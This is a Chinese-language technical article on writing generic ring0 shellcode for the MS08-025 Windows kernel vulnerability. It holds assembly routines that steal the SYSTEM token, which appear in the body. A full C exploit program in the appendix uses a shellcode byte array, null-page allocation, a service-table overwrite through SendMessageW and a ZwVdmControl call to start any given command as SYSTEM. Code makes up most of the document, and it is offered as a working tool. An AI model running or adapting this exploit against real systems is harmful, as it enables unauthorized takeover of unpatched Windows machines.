一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0

最近曝光的ms08-025漏洞，受影响的系统包含了微软出版的几乎所有NT体系结构的版本，
引起了不少研究者的兴趣，漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出，
为我们获取系统的ring0执行权限打开了方便之门，通过这类漏洞提升本地执行权限，获取
system权限执行级别。

目前流传的利用程序，ring0 shellcode大多通过将system进程的Token赋予当前进程来
获取system权限。比较典型的代码如下：

if ( OsVersionInfo.dwMinorVersion == 0 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x44]//取当前进程EPROCESS
mov eax,esi

search2000:

mov eax,[eax+0xA0]
sub eax,0xA0
mov edx,[eax+0x9C]
cmp edx,0x8 // 通过PID查找系统进程
jne search2000

mov eax,[eax+0x12C] // 获取system进程的token
mov [esi+0x12C],eax // 修改当前进程的token
ret 8

}
}

if ( OsVersionInfo.dwMinorVersion == 1 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x220]
mov eax,esi

searchXp:

mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // 通过PID查找系统进程
jne searchXp

mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token

ret 8

}
}

if ( OsVersionInfo.dwMinorVersion == 2 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x218]
mov eax,esi

search2003:

mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // 通过PID查找系统进程
jne search2003

mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8

}
}

对于视窗操作系统，由于EPROCESS这个结构不固定，不同系统中system进程PID不同，导
致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本，实际是采用硬编码的
方式ring0 shellcode。这种做法的兼容性并不是太好，在同一系统不同补丁下，难免保证不
出现蓝屏。笔者利用上述代码，在非sp1的2k3系统上蓝屏，深刻体会到了ring0利用程序崩溃
时候的威力。

二、本地通用的提权代码

为了提高兼容性，就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可
知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。

提权操作将system进程的Token赋予当前执行进程，我们需要做以下的操作：

1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构，而ntoskrnl.exe导出
的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从
ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。

2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess（xp，2k3的
PsGetThreadProcess为同一函数）可以查找线程所属的进程，而当前执行线程可由KPCR+124h
获得，通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对
于不同版本的NT系统，KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]
获取当前线程的ETHREAD指针。

3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定，需
要先找出这个偏移值，然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含
了从EPROCESS取Token的操作，我们需要把这个偏移量先从这个函数中挖出来。

对于win 2k系统，PsReferencePrimaryToken取Token的代码为：

mov eax, [ebp+8]
mov edi, [eax+12Ch]
lea eax, [edi-18h]

对于win xp/2k3系统，PsReferencePrimaryToken取Token的代码为：

mov edi, [ebp+8]
lea ebx, [edi+0D8h]

虽然使用的寄存器不固定，但指令相对固定，可以采用获得PsReferencePrimaryToken入
口地址后搜索lea指令获得。再根据偏移为小于EPROCESS长度这一特性，取lea指令前后高位
两个字为0的操作数即可获取Token的偏移量。

综上所述，给出对应的shellcode：

PsReferencePrimaryToken=80123456h
PsInitialSystemProcess=80123456h
IoThreadToProcess=80123456h;
pushad
pushfd
mov esi,PsReferencePrimaryToken
findtokenoffset:
lodsb
cmp al, 8Dh;
jnz findtokenoffset
mov edi,[esi+1]
and al, [esi+3];判断是否为Win 2k
jz @F
mov edi,[esi-5]
@@:
mov esi, [PsInitialSystemProcess]
push dword ptr [0FFDFF124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret 08h

代码中的常数PsReferencePrimaryToken，PsInitialSystemProcess，IoThreadToProcess
可以通过加载ntoskrnl.exe，由GetProcAddress在本地获取（需修正到内核地址）。附件给出
的完整ms08-025通用利用程序将给出获取这些地址的例程。

三、进一步提高通用性

如果需要靠shellcode自己获取API的地址，就需要shellcode加上获取API地址的代码和
获取ntoskrnl.exe内核基址的代码。由于PE文件格式是固定的，ring3级的API引擎在ring0
下同样适用，我们可以通过API名称的编码，利用API引擎获取对应函数地址。ntoskrnl.exe
内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中，我们可以找
到不少ntoskrnl.exe中断处理函数地址。利用sidt指令，我们可以获取指向系统中断描述符
表的指针，进一步获得ntoskrnl.exe中的函数。IDT指针同样保存在KPCR结构中，更为简单的
方法是直接从[0FFDFF038h](KPCR+38h)内存中读取。

笔者基于上述思想编写了161字节的ring0 shellcode，成功用在了ms08-025的溢出中。
以这种方式实现的ring0 shellcdoe，可以不倚赖外部函数独立执行API操作，能够用于远程
的内核溢出中。远程ring0 shellcode仅仅在幻影内部交流，读者可以按照前述思想自己实
现相关代码。

四、附录

无需判断系统版本的通用利用程序，如果你打崩了，请联系我，我进一步做改进。

#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "user32.lib")
#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);

ZWVDMCONTROL ZwVdmControl=NULL;
DWORD PsReferencePrimaryToken = 0;
DWORD PsInitialSystemProcess = 0;
DWORD IoThreadToProcess = 0;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef enum _SYSTEM_INFORMATION_CLASS {

SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _IMAGE_FIXUP_ENTRY {

WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
IN PVOID Base
);

extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
IN PVOID Base,
IN BOOLEAN MappedAsImage,
IN USHORT DirectoryEntry,
OUT PULONG Size
);

void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}

DWORD
GetKernelBase(char *KernelName)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG i = 0;
ULONG NeedSize = 0;
ULONG ModuleTotal = 0;
DWORD dwKernelBase = 0;
PCHAR Temp[10];
PSYSTEM_MODULE_INFORMATION SystemModuleInfo = NULL;

status = NtQuerySystemInformation(
SystemModuleInformation,
(PVOID)Temp,
10,
&NeedSize );

if( status != STATUS_INFO_LENGTH_MISMATCH ) {

printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
return dwKernelBase;
}

SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
if ( NULL == SystemModuleInfo ) {

printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
return dwKernelBase;
}

status = NtQuerySystemInformation(
SystemModuleInformation,
SystemModuleInfo,
NeedSize,
&NeedSize );

if( status != STATUS_SUCCESS ) {

printf("NtQuerySystemInformation failed, status: %08X\n", status );
return dwKernelBase;
}


ModuleTotal = *(PULONG)SystemModuleInfo;
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);

for( i=0; i<ModuleTotal; i++ ) {

if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
strcpy(KernelName, "ntoskrnl.exe");
dwKernelBase = (DWORD)SystemModuleInfo->Base;
break;
}
else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
strcpy(KernelName, "ntkrnlpa.exe");
dwKernelBase = (DWORD)SystemModuleInfo->Base;
break;
}
}

LocalFree( SystemModuleInfo );
return dwKernelBase;
}

DWORD
FindKiServiceTable(HMODULE hModule, DWORD dwKeSDTOffset)
{
PIMAGE_NT_HEADERS NtHeaders = NULL;
PIMAGE_BASE_RELOCATION ImageBaseReloc = NULL;
PIMAGE_FIXUP_ENTRY ImageFixup = NULL;
DWORD RelocTableSize = 0;
DWORD i;
DWORD dwVirtualAddress;
DWORD dwRva;
DWORD dwKiServiceTable = 0;

NtHeaders = RtlImageNtHeader( hModule );
ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
TRUE,
IMAGE_DIRECTORY_ENTRY_BASERELOC,
&RelocTableSize );
if ( NULL == ImageBaseReloc ) {

return 0;
}

do {

ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION));

for ( i = 0;
i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
i++, ImageFixup++ ) {

if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {

dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;

if ( dwRva == dwKeSDTOffset ) {

if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;
return dwKiServiceTable;
}
}
}
}

*(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;

} while ( ImageBaseReloc->VirtualAddress );

return 0;
}

void InitTrampoline()
{

PNTALLOCATE NtAllocateVirtualMemory;
LPVOID addr = (LPVOID)3;
DWORD dwShellSize=0x1000;
unsigned char trampoline[]=
"\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
"\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
"\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
"\x61\xC2\x08\x00";

NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

if( !NtAllocateVirtualMemory )
exit(0);

NtAllocateVirtualMemory( (HANDLE)-1,
&addr,
0,
&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );

if( (PULONG)addr )
{
printf("\n[++] Error Allocating memory\n");
exit(0);
}

*(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
*(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
*(DWORD*)(trampoline+0x24)=IoThreadToProcess;
memcpy(NULL,trampoline,sizeof(trampoline)-1);
}

void GetFunction()
{
HMODULE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

//PULONG PntVdmControl=0x805F0DB0;
DWORD PntVdmControl=0x80800458; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得

PVOID KeServiceDescriptorTable = NULL;
DWORD dwKernelBase = 0;
DWORD dwKeSDTOffset = 0;
DWORD dwKiServiceTable = 0;
DWORD FuncNumber = 0;
HMODULE hKernel;
char szNtos[MAX_PATH] = {0};

STARTUPINFOA stStartup;
PROCESS_INFORMATION pi;

printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
printf("\tAll unpathched OS can be compromised\n\n");
if ( argc < 2 )
{
printf("\tUsage: %s <command>\n", argv[0]);
exit(0);
}

GetFunction();

dwKernelBase = GetKernelBase(szNtos);

if( dwKernelBase )
{
printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
hKernel = LoadLibraryExA(szNtos,0,1);
}
else
{
printf("GetProcAddress failed, code: %d\n", GetLastError());
return FALSE;
}

KeServiceDescriptorTable = GetProcAddress( hKernel, "KeServiceDescriptorTable" );
if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed");

printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );

dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;

dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );

FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );

PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );

PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel, "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase;
PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel, "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase;
IoThreadToProcess = (DWORD)GetProcAddress( hKernel, "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase;
InitTrampoline();

SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
printf("\n[+] Executing Shellcode...\n");

ZwVdmControl(0, NULL);
GetStartupInfo( &stStartup );

CreateProcess( NULL,
argv[1],
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi ); //此时创建的cmd.exe是SYSTEM权限


printf("[+] Exiting...\n");

return TRUE;
}

-EOF-